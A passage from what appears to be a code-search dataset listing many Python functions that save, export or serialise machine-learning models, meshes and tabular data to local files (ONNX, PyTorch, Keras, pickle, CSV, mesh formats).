-\\\n network_input_names\n for name in implicit_input_names:\n tensor = convert_parameter(o.inputs[name])\n initializers.append(tensor)\n input_tensors.append(helper.make_tensor_value_info(\n name, tensor.data_type, tensor.dims))\n\n # If additional parameters are created during conversion\n if o.additional_parameters:\n for param in o.additional_parameters:\n tensor = convert_parameter(param)\n initializers.append(tensor)\n input_tensors.append(helper.make_tensor_value_info(\n str(id(param)), tensor.data_type, tensor.dims))\n\n # The graph must be topologically sorted\n graph = reversed(o.graph)\n\n # Convert output tensors\n output_tensors = []\n if isinstance(outputs, dict):\n outputs = list(outputs.values())\n if not isinstance(outputs, (list, tuple)):\n outputs = (outputs,)\n\n for output in outputs:\n output_id = str(id(output))\n if output_id in o.renamed_outputs:\n output_id = o.renamed_outputs[output_id]\n output_tensors.append(helper.make_tensor_value_info(\n output_id, NP_TYPE_TO_TENSOR_TYPE[output.dtype], output.shape))\n\n if not export_params:\n initializers = []\n\n onnx_graph = helper.make_graph(\n graph, graph_name, input_tensors, output_tensors,\n initializer=initializers)\n\n model = helper.make_model(\n onnx_graph,\n producer_name='Chainer',\n producer_version=chainer.__version__,\n opset_imports=[helper.make_opsetid('', opset_version)]\n )\n\n model.ir_version = onnx.IR_VERSION\n\n rename_tensors(model)\n checker.check_model(model)\n\n if filename is not None and isinstance(filename, str):\n with open(filename, 'wb') as fp:\n fp.write(model.SerializeToString())\n if save_text:\n with open(filename + '.txt', 'w') as fp:\n print(model, file=fp)\n elif hasattr(filename, 'write'):\n filename.write(model.SerializeToString())\n\n return model","def save(model: nn.Module, path):\n save_model(model, path)","def save_model(model):\n model.to_disk(\"../model/custom_ner_model\")","def model_architecture_to_file(model, save_path, show_shapes=True):\n plot_model(model, to_file=save_path + \"_model_architecture.png\", show_shapes=show_shapes)","def save(self, filename):\n model_dict = {'model_state_dict': self.state_dict(),\n 'init_args': {\"vocab_size\": self.vocab_size,\n \"embeddings_size\": self.embeddings_size,\n \"hidden_size\": self.hidden_size,\n \"mlp_hidden_size\": self.mlp_hidden_size,\n \"dropout\": self.dropout}}\n torch.save(model_dict, filename)","def export_model_as_float32(temporary_model, checkpoint_path, export_path):\r\n checkpoint = tf.train.Checkpoint(model=temporary_model)\r\n\r\n manager = tf.train.CheckpointManager(\r\n checkpoint=checkpoint, directory=checkpoint_path, max_to_keep=3\r\n )\r\n\r\n checkpoint.restore(manager.latest_checkpoint).expect_partial()\r\n\r\n temporary_model.save(export_path, include_optimizer=False)","def serialize_model(model,model_dir): \n # Make output directory to store model\n pathlib.Path(model_dir).mkdir(parents=True, exist_ok=True)\n model_json = model.to_json()\n \n # Serialize model to JSON\n with open(model_dir + '/' + model_dir + \".json\", \"w\") as json_file:\n json_file.write(model_json)\n \n # Serialize weights to HDF5\n model.save_weights(model_dir +'/' + model_dir + \".h5\")\n print(\"Saved model to disk\")\n print(\"Model info stored within local directory: {model_name}/\")\n print(\"Model weights stored as: {model_name}/{model_name}.h5\")\n print(\"Model structure stored as: {model_name}/{model_name}.json\")","def export(self, output_path: str, export_format: str = 'csv', z_positive_up: bool = True, **kwargs):\n strt = perf_counter()\n print('****Exporting surface data to {}****'.format(export_format))\n fmt = export_format.lower()\n if os.path.exists(output_path):\n tstmp = datetime.now().strftime('%Y%m%d_%H%M%S')\n foldername, filname = os.path.split(output_path)\n filnm, filext = os.path.splitext(filname)\n output_path = os.path.join(foldername, '{}_{}{}'.format(filnm, tstmp, filext))\n\n if fmt == 'csv':\n self._export_csv(output_path, z_positive_up=z_positive_up)\n elif fmt == 'geotiff':\n self._export_geotiff(output_path, z_positive_up=z_positive_up)\n elif fmt == 'bag':\n self._export_bag(output_path, z_positive_up=z_positive_up, **kwargs)\n else:\n raise ValueError('fqpr_surface_v3: Unrecognized format {}'.format(fmt))\n end = perf_counter()\n print('****Export complete: {}s****'.format(round(end - strt, 3)))","def create_model_csv(self):\n\n self.model_df.to_csv(self.model_output_file)","def export_model(self, file, add_metada_file = False):\n assert self.is_fitted_\n file = os.path.expanduser(file)\n metadata = self._export_metadata()\n if add_metada_file:\n with open(file + \".metadata\", \"w\") as of:\n json.dump(metadata, of, indent=4)\n metadata = json.dumps(metadata)\n metadata = metadata.encode('utf-8')\n self._cpp_obj.serialize_obj(file, metadata, self.ndim_ > 1, has_imputer=self.build_imputer)\n return self","def save_model(self, filename):\n self.model.save('models/' + str(filename))","def export(self, exdata = True, exlights = True, exaovs = True, exshaders = True, exmaster = True):\n\t\tif exdata:\n\t\t\tself.exportData()\n\t\tif exshaders:\n\t\t\tself.exportShaders()\n\t\tif exlights:\n\t\t\tself.exportLights()\n\t\tif exaovs:\n\t\t\tself.exportAovs()\n\t\tif exmaster:\n\t\t\tself.exportMasterLayerSettings()","def save_model(self, filename):\n\t\tpickle.dump(self, open(filename, 'wb'))\n\t\tprint('Model saved in',filename)","def save_model(self, name): \n torch.save(dict(params=self.model.encoder.state_dict()), osp.join(self.args.save_path, name + '.pth'))","def save_model(self, step):\n\n # file_name = params['name']\n # pickle.dump(self, gzip.open(file_name, 'wb'))","def save_model(exe, graph, dirname):\n assert graph is not None and dirname is not None\n graph = GraphWrapper(graph) if isinstance(graph,\n paddle.static.Program) else graph\n\n paddle.static.save(program=graph.program, model_path=dirname)\n weights_file = dirname\n _logger.info(\"Save model weights into {}\".format(weights_file))\n shapes = {}\n for var in graph.program.list_vars():\n if var.persistable and str(var.type) != 'VarType.READER':\n shapes[var.name] = var.shape\n SHAPES_FILE = os.path.join(dirname, _SHAPES_FILE)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n with open(SHAPES_FILE, \"w\") as f:\n json.dump(shapes, f)\n _logger.info(\"Save shapes of weights into {}\".format(SHAPES_FILE))\n\n groups = {}\n for op in graph.ops():\n if 'conv2d' in op.type():\n filter_name = op.inputs('Filter')[0].name()\n groups[filter_name] = op.attr('groups')\n\n GROUPS_FILE = os.path.join(dirname, _GROUPS_FILE)\n with open(GROUPS_FILE, \"w\") as f:\n json.dump(groups, f)\n _logger.info(\"Save groups of cnov2d into {}\".format(GROUPS_FILE))","def exportSurface(self, idx = 0, z = 1, verbose = 1, format = \"lammps\",\\\n filename = None, vacuum = 0, surface = 1, strained = False,\\\n kpoints = None, ab = False, anchor = \"@\"):\n\n if verbose > 0:\n string = \"Building surface %i in the following interface\" % surface\n ut.infoPrint(string)\n self.printInterfaces(idx = idx, anchor = anchor)\n\n if filename is None:\n filename = \"surface_%s_S%s.%s\" % (idx, surface, format)\n\n \"\"\"Build the selected interface\"\"\"\n base, pos, type_n, mass = self.buildSurface(idx = idx, z = z, verbose = verbose,\\\n vacuum = vacuum, surface = surface, ab = ab,\\\n strained = strained)\n\n \"\"\"Sort first based on type then Z-position then Y-position\"\"\"\n ls = np.lexsort((pos[:, 1], pos[:, 2], type_n))\n type_n = type_n[ls]\n mass = mass[ls]\n pos = pos[ls]\n\n \"\"\"After sorting, index all positions\"\"\"\n index = np.arange(type_n.shape[0])\n\n \"\"\"Build an Atoms object\"\"\"\n atoms = structure.Structure(cell = base, pos = pos, type_n = type_n, type_i = None,\\\n mass = mass, idx = index, filename = filename, pos_type = \"c\")\n\n \"\"\"Align the first dimension to the x-axis\"\"\"\n atoms.alignStructure(dim = [1, 0, 0], align = [1, 0, 0])\n\n \"\"\"Write the structure object to specified file\"\"\"\n atoms.writeStructure(filename = filename, format = format, verbose = verbose)\n\n \"\"\"If specified write KPOINTS file\"\"\"\n if kpoints is not None:\n file_io.writeKPTS(cell = base, verbose = verbose, **kpoints)","def _export_model(\n self,\n precision: ModelPrecision = ModelPrecision.FP32,\n export_format: ExportType = ExportType.ONNX,\n dump_features: bool = True,\n ):\n # copied from OTX inference_task.py\n self._data_cfg = ConfigDict(\n data=ConfigDict(\n train=ConfigDict(\n otx_dataset=None,\n labels=self._labels,\n ),\n test=ConfigDict(\n otx_dataset=None,\n labels=self._labels,\n ),\n )\n )\n self._init_task(export=True)\n\n cfg = self.configure(False, None)\n\n self._precision[0] = precision\n export_options: Dict[str, Any] = {}\n export_options[\"deploy_cfg\"] = self._init_deploy_cfg(cfg)\n assert len(self._precision) == 1\n export_options[\"precision\"] = str(self._precision[0])\n export_options[\"type\"] = str(export_format)\n\n export_options[\"deploy_cfg\"][\"dump_features\"] = dump_features\n if dump_features:\n output_names = export_options[\"deploy_cfg\"][\"ir_config\"][\"output_names\"]\n if \"feature_vector\" not in output_names:\n output_names.append(\"feature_vector\")\n if export_options[\"deploy_cfg\"][\"codebase_config\"][\"task\"] != \"Segmentation\":\n if \"saliency_map\" not in output_names:\n output_names.append(\"saliency_map\")\n export_options[\"model_builder\"] = getattr(self, \"model_builder\", build_segmentor)\n\n if self._precision[0] == ModelPrecision.FP16:\n export_options[\"deploy_cfg\"][\"backend_config\"][\"mo_options\"][\"flags\"].append(\"--compress_to_fp16\")\n\n backend_cfg_backup = {}\n if export_format == ExportType.ONNX:\n backend_cfg_backup = export_options[\"deploy_cfg\"][\"backend_config\"]\n export_options[\"deploy_cfg\"][\"backend_config\"] = {\"type\": \"onnxruntime\"}\n export_options[\"deploy_cfg\"][\"ir_config\"][\"dynamic_axes\"][\"input\"] = {0: \"batch\"}\n\n exporter = SegmentationExporter()\n results = exporter.run(\n cfg,\n **export_options,\n )\n\n if export_format == ExportType.ONNX:\n results[\"inference_parameters\"] = {}\n results[\"inference_parameters\"][\"mean_values\"] = \" \".join(\n map(str, backend_cfg_backup[\"mo_options\"][\"args\"][\"--mean_values\"])\n )\n results[\"inference_parameters\"][\"scale_values\"] = \" \".join(\n map(str, backend_cfg_backup[\"mo_options\"][\"args\"][\"--scale_values\"])\n )\n\n return results","def filemenu_Export(self):\n line_dict = {}\n for line in self.lines.values():\n for name, arr in line.to_mat().items():\n line_dict[name] = arr\n fileTypes = [(\"MATLAB file\",\"*.mat\"), (\"NumPy file\",\"*.npz\")]\n options = {}\n options['initialdir'] = os.path.expanduser('~')\n options['filetypes'] = fileTypes\n options['parent'] = self.master\n filename = filedialog.asksaveasfilename(**options)\n if filename:\n _, ext = os.path.splitext(filename)\n if ext == \".mat\":\n sio.savemat(filename, line_dict)\n elif ext == \".npz\":\n np.savez(filename, lines=line_dict)","def save_model(model, model_filepath):","def dump_model(model, filename):\n import pickle\n logging.info(\"Dumping model into model.pkl\")\n with open(filename, 'w') as dump_file:\n pickle.dump(model, dump_file)","def save(self):\n for name, param in self.components.items():\n param_path = os.path.join(self.model_path, \"%s.mat\" % name)\n if hasattr(param, 'params'):\n param_values = {p.name: p.get_value() for p in param.params}\n else:\n param_values = {name: param.get_value()}\n scipy.io.savemat(param_path, param_values)","def saveModel(self):\n self._model.save_weights('./my_model')\n return None","def save_model(self, file_name):\n\t\tself.model.save_weights(file_name)","def dump(self, filename):\n\n utils.save(filename, {'model': self}, zipped=True)","def save(self, filename):\n self.model.save_weights(filename)","def save_model(self):\n torch.save(self.get_params(), 'code/lr-model.pt')","def export_prediction_to_mesh(outprefix, input_sdf, output_df, output_sem,\n target_df, target_sem):\n # Add back (below floor) padding for vis (creates the surface on the bottom).\n (scene_dim_z, scene_dim_y, scene_dim_x) = input_sdf.shape\n save_input_sdf = constants.TRUNCATION * np.ones(\n [scene_dim_z, 2 * FLAGS.pad_test + scene_dim_y, scene_dim_x])\n save_prediction = np.copy(save_input_sdf)\n save_target = None if target_df is None else np.copy(save_input_sdf)\n save_input_sdf[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = input_sdf\n save_prediction[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = output_df\n if target_df is not None:\n save_target[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = target_df\n # For error visualization as colors on mesh.\n save_errors = np.zeros(shape=save_prediction.shape)\n save_errors[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = np.abs(\n output_df - target_df)\n if FLAGS.predict_semantics:\n save_pred_sem = np.zeros(shape=save_prediction.shape, dtype=np.uint8)\n save_pred_sem[:, FLAGS.pad_test:\n FLAGS.pad_test + scene_dim_y, :] = output_sem\n save_pred_sem[np.greater(save_prediction, 1)] = 0\n if target_sem is not None:\n save_target_sem = np.zeros(shape=save_prediction.shape, dtype=np.uint8)\n save_target_sem[:, FLAGS.pad_test:\n FLAGS.pad_test + scene_dim_y, :] = target_sem\n\n # Save as mesh.\n util.save_iso_meshes(\n [save_input_sdf, save_prediction, save_target],\n [None, save_errors, save_errors], [None, save_pred_sem, save_target_sem],\n [\n outprefix + 'input.obj', outprefix + 'pred.obj',\n outprefix + 'target.obj'\n ],\n isoval=1)","def test_3d():\n dic, data = ng.bruker.read(os.path.join(DATA_DIR, \"bruker_3d\"))\n assert dic['FILE_SIZE'] == 91226112\n assert data.shape == (116, 128, 768)\n assert round(data[0, 0, 40].real, 2) == 18.0\n assert round(data[0, 0, 40].imag, 2) == -66.0\n assert round(data[5, 13, 91].real, 2) == 1138.0\n assert round(data[5, 13, 91].imag, 2) == 3482.0\n write_readback(dic, data)","def save_model(self, path):\n self._model.save(os.path.join(path, 'trained_model.h5'))\n plot_model(self._model, to_file=os.path.join(path, 'model_structure.png'), show_shapes=True, show_layer_names=True)","def _generate_model(self, specs, experiment = None, filename = 'dist/app/Model.hs'):\n with open(filename, \"w\") as file:\n self._write_model(file, specs, experiment = experiment)","def write_out_prediction_objects(model, lookups):\n neighbours = get_neighbours(lookups, model)\n id_to_movie = get_reverse_movie_lookup(lookups)\n popular_films = get_popular(lookups)\n\n output = {\n \"neighbours\": neighbours,\n \"id_to_movie\": id_to_movie,\n \"popular_films\": popular_films,\n }\n\n with open(PICKLE_FILENAME, \"wb\") as f:\n pickle.dump(output, f)\n\n return output","def save_model(self, output_path):\n joblib.dump(self.dtr, output_path)","def _save_model(self):\n with open(self.filepath, 'wb') as file:\n pickle.dump(self.cmodel, file)","def save_model(self, path):\n save_path = self._saver.save(self._sess, path + '/model.ckp')\n\n attrs_to_save = {\n '_m': self._m,\n '_n': self._n,\n '_neighbourhood': self._neighbourhood,\n # '_topography': self._topography,\n '_num_iterations': self._num_iterations,\n '_Wts': self._Wts,\n '_locations': self._locations,\n '_centroid_grid': self._centroid_grid,\n '_learned': self._learned,\n 'abnormal_dist': self.abnormal_dist\n }\n\n output = open(path + '/som.pkl', 'wb')\n pickle.dump(attrs_to_save, output)\n output.close()\n print(\"Model saved in path: %s\" % save_path)\n\n pd.DataFrame(self._centroid_grid).to_csv(path + '/grid.csv', header=False, index=False)\n print('Grid saved to ' + path + ' for easy reading')","def save(self, folder):\n if not path.exists(folder):\n os.makedirs(folder)\n param = {\n \"model\": self.__class__.__name__,\n \"nr_labels\": self.nr_labels,\n \"nr_features\": self.nr_features,\n \"nr_codes\": self.nr_codes,\n \"bias\": self.bias,\n \"pred_kwargs\": self.pred_params.to_dict(),\n }\n param = self.append_meta(param)\n with open(\"{}/param.json\".format(folder), \"w\") as f:\n f.write(json.dumps(param, indent=True))\n smat_util.save_matrix(\"{}/W.npz\".format(folder), self.W)\n smat_util.save_matrix(\"{}/C.npz\".format(folder), self.C)"],"string":"[\n \"def export_model(self, output_model_dir):\\n logger.info(\\\"Exporting model to directory : {}\\\".format(output_model_dir))\\n self.model.export(output_model_dir=output_model_dir)\",\n \"def create_e3d_file(self,path='./'):\\n dt=0.606*self.model_parameters['dh']/np.max(self.velocity_model['vp']) # dt needs to satify the courant condition\\n t=int(self.model_parameters['duration']/dt)\\n \\n # Check path exists, if not create one\\n if not os.path.exists(path):\\n os.makedirs(path)\\n \\n # Create e3d parameter file\\n f=open('%s%s_e3dmodel.txt'%(path,self.model_name),'w')\\n f.write(\\\"grid x=%s z=%s dh=%s b=2 q=1\\\\ntime dt=%0.5f t=%s\\\\n\\\"%(self.model_parameters['xmax'],self.model_parameters['zmax'],self.model_parameters['dh'],dt,t))\\n f.write(\\\"block p=%s s=%s r=%s Q=20 Qf=50\\\\n\\\"%(self.velocity_model['vp'][0],self.velocity_model['vs'][0],self.velocity_model['rho'][0]))\\n \\n for i in range(1,len(self.velocity_model['vp'])-1):\\n f.write(\\\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\\\n\\\"%(self.velocity_model['vp'][i],self.velocity_model['vs'][i],self.velocity_model['rho'][i],\\n self.velocity_model['depth'][i],self.velocity_model['depth'][i+1]))\\n \\n f.write(\\\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\\\n\\\\n\\\"%(self.velocity_model['vp'][i+1],self.velocity_model['vs'][i+1],self.velocity_model['rho'][i+1],\\n self.velocity_model['depth'][i+1],self.model_parameters['zmax'])) # extend to the based of the model \\n \\n f.write(\\\"visual movie=5\\\\n\\\\n\\\")\\n\\n if self.source['src_type']!=4:\\n f.write(\\\"source type=%s x=%s z=%s freq=%s amp=%s\\\\n\\\\n\\\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'])) \\n else:\\n f.write(\\\"source type=%s x=%s z=%s freq=%s amp=%s Mxx=%s Myy=%s Mzz=%s Mxy=%s Mxz=%s Myz=%s\\\\n\\\\n\\\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'],self.source['mt'][0],self.source['mt'][1],self.source['mt'][2],self.source['mt'][3],self.source['mt'][4],self.source['mt'][5])) \\n\\n for r in range(len(self.receivers['recxs'])):\\n f.write('sac x=%0.3f z=%0.3f file=%s\\\\n'%(self.receivers['recxs'][r],self.receivers['reczs'][r],self.model_name))\\n\\n f.write(\\\"visual sample=0.1 movie=1 scale=10000000000/n\\\")\\n f.close()\\n \\n print('File created: %s%s_e3dmodel.txt'%(path,self.model_name))\",\n \"def save_trained_model(self, filename):\\n d = self.pack_npz()\\n with open(filename, 'wb') as f:\\n np.savez(f, base_str=super(SpatialGP, self).__repr_base_params__(), **d)\",\n \"def export_freeze_model(self, export_dir='.', version=1):\\n self.feed_dict.update({self.training_phase: False})\\n tf.keras.backend.set_learning_phase(0) \\n\\n self.outputs = tf.identity_n(self.outputs, name='output/hr')\\n sess = tf.get_default_session()\\n export_path = Path(export_dir) / str(version)\\n while export_path.exists():\\n version += 1 # step ahead 1 version\\n export_path = Path(export_dir) / str(version)\\n export_path = str(export_path)\\n graph = sess.graph.as_graph_def()\\n graph = tf.graph_util.remove_training_nodes(graph)\\n graph = tf.graph_util.convert_variables_to_constants(\\n sess, graph, [outp.name.split(':')[0] for outp in self.outputs])\\n # fcarrio\\n for node in graph.node:\\n print (node.name)\\n\\n\\n for op in tf.get_default_graph().get_operations():\\n print(str(op.name))\\n\\n tf.train.write_graph(graph, export_path, self.name, as_text=False)\\n LOG.info(\\\"Model exported to {}/{}.\\\".format(export_path, self.name))\",\n \"def save_model(self):\\n print(\\\"\\\\nModels are integrated to be multi scale.\\\\nSaving to disk.\\\")\\n self.column_names = [ \\\"x_\\\" + str(x) for x in range(self.embedding.shape[1])]\\n self.embedding = pd.DataFrame(self.embedding, columns = self.column_names)\\n self.embedding.to_csv(self.args.output, index = None)\",\n \"def save_spi3d(self):\\n lut = self.generate_lut()\\n file_path = os.path.join(self.output, self.name)\\n file_io.save_file(lut, file_path)\",\n \"def make_model_geocsv():\\n\\n model_file, base_file_name = check_netcdf_file()\\n print('[INFO] Input netCDF File: {}'.format(model_file), flush=True)\\n\\n data_header = list()\\n model_data = Dataset(model_file)\\n try:\\n # conversion to string is done to preserve precision\\n lat = list()\\n lon = list()\\n depth = list()\\n for this_value in model_data.variables[LAT_VARIABLE][:]:\\n lat.append(\\\"{}\\\".format(str(this_value)))\\n for this_value in model_data.variables[LON_VARIABLE][:]:\\n lon.append(\\\"{}\\\".format(str(this_value)))\\n for this_value in model_data.variables[DEPTH_VARIABLE][:]:\\n depth.append(\\\"{}\\\".format(str(this_value)))\\n except Exception:\\n print('\\\\n[Error] the expected variables ({}, {}, {}) not in the variable list: {}\\\\n'.format(\\n LAT_VARIABLE, LON_VARIABLE, DEPTH_VARIABLE, str(list(model_data.variables.keys()))))\\n sys.exit(1)\\n\\n emcin = {}\\n\\n # make sure this is a 3D netCDF file\\n var_3d = list()\\n for var in model_data.variables.keys():\\n if len(model_data.variables[var].shape) == 3:\\n var_3d.append(var)\\n if len(var_3d) <= 0:\\n print('\\\\n[ERROR] not a 3D netCDF file\\\\n\\\\n', flush=True)\\n sys.exit(1)\\n\\n # the standard order is (Z, Y, X) or (depth, latitude, longitude)\\n if DEBUG:\\n print('[INFO] Mode: {}'.format(OUTPUT_MODE), flush=True)\\n print('[INFO] 3D Variables: {}'.format(var_3d), flush=True)\\n\\n if VIEW_HEADER:\\n display_headers(model_file, model_data)\\n sys.exit(0)\\n\\n output_data = list()\\n for k, this_depth in enumerate(depth):\\n if OUTPUT_MODE == 'single' and k == 0:\\n data_header = list()\\n output_file = '{}.csv'.format(base_file_name)\\n fp = open(output_file, 'w')\\n print('[INFO] Output file: {}'.format(output_file), flush=True)\\n fp.write(get_model_header(model_file, model_data))\\n data_header.append('{}{}{}{}{}'.format(LAT_VARIABLE, DELIMITER, LON_VARIABLE,\\n DELIMITER, DEPTH_VARIABLE))\\n elif OUTPUT_MODE == 'depth':\\n output_data = list()\\n data_header = list()\\n output_file = os.path.join(\\n '{}_{}_{}.csv'.format(base_file_name, this_depth, VALID_MODES[OUTPUT_MODE]))\\n fp = open(output_file, 'w')\\n print('[INFO] Output file: {}'.format(output_file), flush=True)\\n fp.write(get_model_header(model_file, model_data))\\n data_header.append('# depth: {}\\\\n'.format(this_depth))\\n data_header.append('{}{}{}'.format(LAT_VARIABLE, DELIMITER, LON_VARIABLE))\\n\\n if DEBUG:\\n print('[INFO] Processing depth: {}'.format(this_depth), flush=True)\\n else:\\n dot()\\n\\n index = [-1, -1, -1]\\n for i, this_lat in enumerate(lat):\\n for j, this_lon in enumerate(lon):\\n if OUTPUT_MODE == 'single':\\n output_data.append('{}{}{}{}{}'.format(str(this_lat), DELIMITER, str(this_lon), DELIMITER,\\n str(this_depth)))\\n else:\\n output_data.append('{}{}{}'.format(str(this_lat), DELIMITER, str(this_lon)))\\n\\n for var in model_data.variables.keys():\\n depth_index = None\\n lat_index = None\\n lon_index = None\\n if var.encode('ascii', 'ignore').decode(\\\"utf-8\\\") not in [LAT_VARIABLE, LON_VARIABLE,\\n DEPTH_VARIABLE]:\\n if ((OUTPUT_MODE == 'single' and (not i and not j and not k)) or\\n (OUTPUT_MODE == 'depth' and (not i and not j))):\\n fp.write(get_var_header(model_data, var))\\n data_header.append('{}{}'.format(DELIMITER, var))\\n # find the variable ordering\\n if lat_index is None:\\n for l in range(len(model_data.variables[var].dimensions)):\\n if model_data.variables[var].dimensions[l].encode('ascii', 'ignore').decode(\\n \\\"utf-8\\\") == DEPTH_VARIABLE:\\n depth_index = l\\n elif model_data.variables[var].dimensions[l].encode('ascii', 'ignore').decode(\\n \\\"utf-8\\\") == LON_VARIABLE:\\n lon_index = l\\n else:\\n lat_index = l\\n\\n if var not in emcin.keys():\\n try:\\n emcin[var] = model_data.variables[var][:]\\n except Exception as err:\\n print('\\\\n[Error] problem reading variable \\\"{}\\\"'.format(var))\\n print('{0}\\\\n'.format(err))\\n sys.exit(2)\\n\\n index[depth_index] = k\\n index[lat_index] = i\\n index[lon_index] = j\\n # nan values, otherwise we write string to preserve the precision\\n if str(emcin[var][index[0]][index[1]][index[2]]) == '--':\\n output_data.append('{}{}'.format(DELIMITER,\\n float(emcin[var][index[0]][index[1]][index[2]])))\\n else:\\n # conversion to string is done to preserve precision\\n output_data.append('{}{}'.format(DELIMITER,\\n str(emcin[var][index[0]][index[1]][index[2]])))\\n output_data.append('\\\\n')\\n if OUTPUT_MODE == 'depth':\\n fp.write('{}\\\\n'.format(''.join(data_header)))\\n fp.write(''.join(output_data))\\n fp.close()\\n\\n if OUTPUT_MODE == 'single':\\n fp.write('{}\\\\n'.format(''.join(data_header)))\\n fp.write(''.join(output_data))\\n fp.close()\",\n \"def export_model(self, save_path: str, save_format: Optional[str] = None) -> None:\",\n \"def export_model(model, name):\\n\\tpath = \\\"data/{}/\\\".format(name)\\n\\tfilename = \\\"{}.model\\\".format(name)\\n\\tif os.path.isdir(path):\\n\\t\\tprint(\\\"model already exists\\\")\\n\\t\\treturn\\n\\telse:\\n\\t\\tos.mkdir(path)\\n\\t\\tjoblib.dump(model, path + filename)\",\n \"def save(self, filename):\\n # serialize model to JSON\\n model_json = self._model.to_json()\\n with open('models/' + filename + \\\".json\\\", \\\"w\\\") as json_file:\\n json_file.write(model_json)\\n\\n # serialize weights to HDF5\\n self._model.save_weights('models/' + filename + \\\".h5\\\")\\n print(\\\"Saved model to disk\\\")\",\n \"def export( self, captionMode, copyFiles, outputDir ):\\n scene = slicer.mrmlScene\\n nodes = scene.GetNumberOfNodes()\\n\\n self.__nodes = {}\\n\\n # 1 for model name, 2 for parent name\\n self.__captionMode = captionMode\\n # TRUE if we shall copy the files to the outputDir\\n self.__copyFiles = copyFiles\\n self.__outputDir = outputDir\\n\\n self.__tree = Tree()\\n self.__tree.create_node( \\\"Scene\\\", \\\"scene\\\" )\\n\\n for n in xrange( nodes ):\\n\\n node = scene.GetNthNode( n )\\n\\n self.parseNode( node )\\n\\n [header, footer] = self.configureXrenderers()\\n output = header\\n output += self.createXtree( \\\"scene\\\" )\\n output += footer\\n\\n return output\",\n \"def serialize_mesh(self, filename):\\n print 'Saving mesh to', filename\\n if self.current_point_index != -1:\\n print 'Points on mesh will not be serialized.'\\n\\n np.savez(filename, k=self.k, initial_point=self.initial_point,\\n initial_face_index=self.initial_face_index,\\n all_vertices=self.all_vertices, triangles=self.triangles,\\n face_local_bases=self.face_local_bases,\\n neighbor_faces=self.neighbor_faces)\",\n \"def export_compact_z_to_l(model_path):\\n pred_config = PredictConfig(\\n session_init=SmartInit(model_path),\\n model=Model(),\\n input_names=['mask'],\\n output_names=['gen/genlandmarks/mu3d', 'gen/genlandmarks/sigma3d', 'gen/genlandmarks/theta3d'])\\n ModelExporter(pred_config).export_compact(os.path.join(os.path.dirname(model_path), 'frozen_model_z_to_l.pb'))\\n # ModelExporter(pred_config).export_compact(model_path)\",\n \"def export_model(self):\\n\\n model_pkg = dict()\\n\\n for k, v in self.__dict__.items():\\n if k not in ['datas'] and not k.startswith('_'):\\n model_pkg[k] = v\\n\\n for i in range(len(self.datas)):\\n for k, v in self.datas[i].__dict__.items():\\n model_pkg['datas_%d_%s' % (i, k)] = v\\n\\n return model_pkg\",\n \"def save_surface_mesh(self, fname):\\n triangulation = self.surf_mesh\\n surf_indx = self.surface_indices\\n points = self.cluster.get_positions()\\n with open(fname, 'w') as out:\\n # Write mandatory header\\n out.write(\\\"$MeshFormat\\\\n\\\")\\n out.write(\\\"2.2 0 8\\\\n\\\")\\n out.write(\\\"$EndMeshFormat\\\\n\\\\n\\\")\\n\\n\\n # Write points\\n out.write(\\\"$Nodes\\\\n\\\")\\n out.write(\\\"{}\\\\n\\\".format(points.shape[0]))\\n for i in range(points.shape[0]):\\n vec = points[i, :]\\n out.write(\\\"{} {} {} {}\\\\n\\\".format(i+1, vec[0], vec[1], vec[2]))\\n out.write(\\\"$EndNodes\\\\n\\\")\\n\\n # Write triangles\\n out.write(\\\"$Elements\\\\n\\\")\\n out.write(\\\"{}\\\\n\\\".format(len(triangulation)))\\n for i, tri in enumerate(triangulation):\\n out.write(\\\"{} 2 0 {} {} {}\\\\n\\\".format(i+1, tri[0]+1, tri[1]+1, tri[2]+1))\\n out.write(\\\"$EndElements\\\\n\\\")\\n\\n if self._interface_energy:\\n # Interface energy has been computed\\n # We store the values as node data\\n out.write(\\\"$NodeData\\\\n\\\")\\n out.write(\\\"1\\\\n\\\")\\n out.write(\\\"\\\\\\\"Gamma\\\\\\\"\\\\n\\\")\\n out.write(\\\"1\\\\n0.0\\\\n\\\")\\n out.write(\\\"4\\\\n0\\\\n1\\\\n{}\\\\n0\\\\n\\\".format(len(self._interface_energy)))\\n for indx, interf in zip(surf_indx, self._interface_energy):\\n out.write(\\\"{} {}\\\\n\\\".format(indx+1, interf[1]))\\n out.write(\\\"$EndNodeData\\\\n\\\")\\n print(\\\"Surface mesh saved to {}\\\".format(fname))\",\n \"def export_kmz(self):\\n self.export_kml(kmz=True)\",\n \"def save(filename, points3, tris, metadata):\\n logging.info(\\\"saving mesh: %s\\\"%filename)\\n cells = {'triangle':tris}\\n vtk_io.write(filename, points3, cells)\\n with open(filename+'.readme','w') as fid:\\n fid.write(metadata)\",\n \"def save_model(self, filename):\\r\\n pass\",\n \"def save_spi3d(self):\\n for filename, colormap in colors.colormaps.items():\\n if self.test:\\n self.print_colormap(filename, colormap)\\n lut = self.generate_spi3d_from_colormap(colormap)\\n file_path = os.path.join(self.output, filename)\\n file_io.save_file(lut, file_path)\\n\\n for filename, ev_colormap in colors.ev_colormaps.items():\\n if self.test:\\n self.print_colormap(filename, ev_colormap)\\n lut = self.generate_spi3d_from_evs(ev_colormap)\\n file_path = os.path.join(self.output, filename)\\n file_io.save_file(lut, file_path)\",\n \"def dump_model(self):\",\n \"def WriteSrnModelToFile(filename, model):\\n\\n # Write the .hpp file\\n WriteHeaderFileForSrnModel(filename, model)\\n\\n # Write the .cpp fil\\n WriteSourceFileForSrnModel(filename, model)\",\n \"def save_model(self, filename) -> None:\\n #t.save(self, filename)\\n traced=t.jit.script(self)\\n t.jit.save(traced,filename)\",\n \"def export_data(self, directory, filename, with_md5_hash=False):\\n model_data = {\\n 'vectors': self.estimator.support_vectors_.tolist(),\\n 'coefficients': self.estimator.dual_coef_.tolist(),\\n 'intercepts': self.estimator._intercept_.tolist(),\\n 'weights': self.estimator.n_support_.tolist(),\\n 'kernel': self.kernel,\\n 'gamma': float(self.gamma),\\n 'coef0': float(self.coef0),\\n 'degree': float(self.degree),\\n 'nClasses': 